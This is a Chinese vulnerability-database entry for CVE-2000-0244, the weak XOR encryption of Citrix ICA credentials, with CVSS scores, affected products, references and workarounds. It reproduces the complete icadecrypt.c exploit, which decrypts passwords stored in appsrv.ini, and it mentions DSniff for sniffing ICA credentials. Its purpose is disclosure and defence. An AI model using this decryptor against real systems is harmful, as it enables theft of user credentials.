CVE-2000-0244
CVSS10.0
发布时间 :2000-03-29 00:00:00
修订时间 :2008-09-10 15:03:44
NMCOES    

[原文]The Citrix ICA (Independent Computing Architecture) protocol uses weak encryption (XOR) for user authentication.


[CNNVD]ICA Weak 弱加密漏洞(CNNVD-200003-050)

        Citrix ICA协议的用户认证使用弱加密存在漏洞。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:citrix:metaframe:1.8::windows_nt_4.0_tse
cpe:/a:citrix:metaframe:1.8::windows_2000
cpe:/a:citrix:winframe:3.5_1.8_for_windows_nt
cpe:/a:citrix:metaframe:1.0::unix

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0244
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0244
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200003-050
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1077
(VENDOR_ADVISORY)  BID  1077
http://www.securityfocus.com/templates/archive.pike?list=1&msg=Pine.BSO.4.20.0003290949280.2640-100000@naughty.monkey.org
(UNKNOWN)  BUGTRAQ  20000328 Citrix ICA Basic Encryption

- 漏洞信息

ICA Weak 弱加密漏洞
危急 设计错误
2000-03-29 00:00:00 2005-10-20 00:00:00
远程※本地  
        Citrix ICA协议的用户认证使用弱加密存在漏洞。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (19821)

Citrix MetaFrame 1.0/1.8 Weak Encryption Vulnerability (EDBID:19821)
multiple local
2000-03-29 Verified
0 Dug Song
N/A [点击下载]
source: http://www.securityfocus.com/bid/1077/info

The ICA protocol uses a simple XOR-based encryption algorthm to protect user credentials while stored or in transit. This encryption can be easily broken, meaning that anyone sniffing the connection can obtain user access to the server.

The ICA protocol, developed by Citrix, is used in Citrix server products such as WinFrame and MetaFrame and possibly others, and in Citrix and third party clients for those products. 

/*
  icadecrypt.c

  Decrypt stored Citrix ICA passwords (in appsrv.ini).

  Dug Song <dugsong@monkey.org>
*/

#include <sys/types.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

int
hex_decode(char *src, u_char *dst, int outsize)
{
  char *p, *pe;
  u_char *q, *qe, ch, cl;
  
  pe = src + strlen(src);
  qe = dst + outsize;

  for (p = src, q = dst; p < pe && q < qe && isxdigit((int)*p); p += 2) {
    ch = tolower(p[0]);
    cl = tolower(p[1]);
    
    if ((ch >= '0') && (ch <= '9')) ch -= '0';
    else if ((ch >= 'a') && (ch <= 'f')) ch -= 'a' - 10;
    else return (-1);
    
    if ((cl >= '0') && (cl <= '9')) cl -= '0';
    else if ((cl >= 'a') && (cl <= 'f')) cl -= 'a' - 10;
    else return (-1);
    
    *q++ = (ch << 4) | cl;
  }
  return (q - dst);
}

int
ica_decrypt(u_char *pass, int len)
{
  u_short i;
  u_char *p, key;

  if (len < 4)
    return (0);

  i = ntohs(*(u_short *)pass);
  
  if (i != len - 2)
    return (0);
  
  key = pass[2];
  p = pass + 3;
  
  for (i -= 2; i > 0; i--)
    p[i] = p[i - 1] ^ p[i] ^ key;

  p[0] ^= (key | 'C');
  
  i = len - 3;
  memmove(pass, pass + 3, i);
  pass[i] = '\0';
  
  return (1);
}

void
usage(void)
{
  fprintf(stderr, "Usage: icadecrypt <file>\n");
  exit(1);
}

int
main(int argc, char *argv[])
{
  FILE *f;
  u_char line[1024], pass[128];
  int len;

  if (argc != 2 || *argv[1] == '-')
    usage();

  if ((f = fopen(argv[1], "r")) == NULL) {
    perror("fopen");
    exit(1);
  }
  while (fgets(line, sizeof(line), f) != NULL) {
    if (strncmp(line, "Password=", 9) == 0) {
      len = hex_decode(line + 9, pass, sizeof(pass));
      if (ica_decrypt(pass, len))
        printf("; icadecrypt: [%s]\n", pass);
    }
    printf("%s", line);
  }
  fclose(f);

  exit(0);
}

/* 5000. */
		

- 漏洞信息

6335
Citrix MetaFrame ICA Authentication Encryption Weakness
Remote / Network Access Cryptographic, Information Disclosure
Loss of Confidentiality Workaround, Upgrade
Exploit Public Third-party Verified

- 漏洞描述

Citrix MetaFrame and WinFrame contain flaws that may lead to an unauthorized information disclosure.  The issue is triggered when sensitive data is encrypted using a weak XOR algorithm, which will disclose information such as user credentials resulting in a loss of confidentiality.

- 时间线

2000-03-29 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 1.22 or higher, as it has been reported to fix this vulnerability. It is also possible to temporarily work around the flaw by implementing the following workaround: Due to the nature of the protocol, it cannot be tunneled through ssh. A VPN is probably the only solution to prevent exposure of sensitive data.

- 相关参考

- 漏洞作者

- 漏洞信息

ICA Weak Encryption Vulnerability
Design Error 1077
Yes Yes
2000-03-29 12:00:00 2009-07-11 01:56:00
Posted to Bugtraq on March 29, 2000 by Dug Song <dugsong@monkey.org>.

- 受影响的程序版本

Citrix WinFrame for Windows NT 3.5 1.8
- Microsoft Windows NT 3.5.1
Citrix MetaFrame for Windows NT 4.0 TSE 1.8
- Microsoft Windows NT Terminal Server 4.0
Citrix MetaFrame for Windows 2000 1.8
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
Citrix MetaFrame for Unix 1.0
- Sun Solaris 8_sparc
- Sun Solaris 7.0

- 漏洞讨论

The ICA protocol uses a simple XOR-based encryption algorthm to protect user credentials while stored or in transit. This encryption can be easily broken, meaning that anyone sniffing the connection can obtain user access to the server.

The ICA protocol, developed by Citrix, is used in Citrix server products such as WinFrame and MetaFrame and possibly others, and in Citrix and third party clients for those products.

- 漏洞利用

ICAdecrypt will decrypt WinFrame passwords stored in the appsrv.ini file.
DSniff will sniff and decrypt ICA credentials on the network.

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站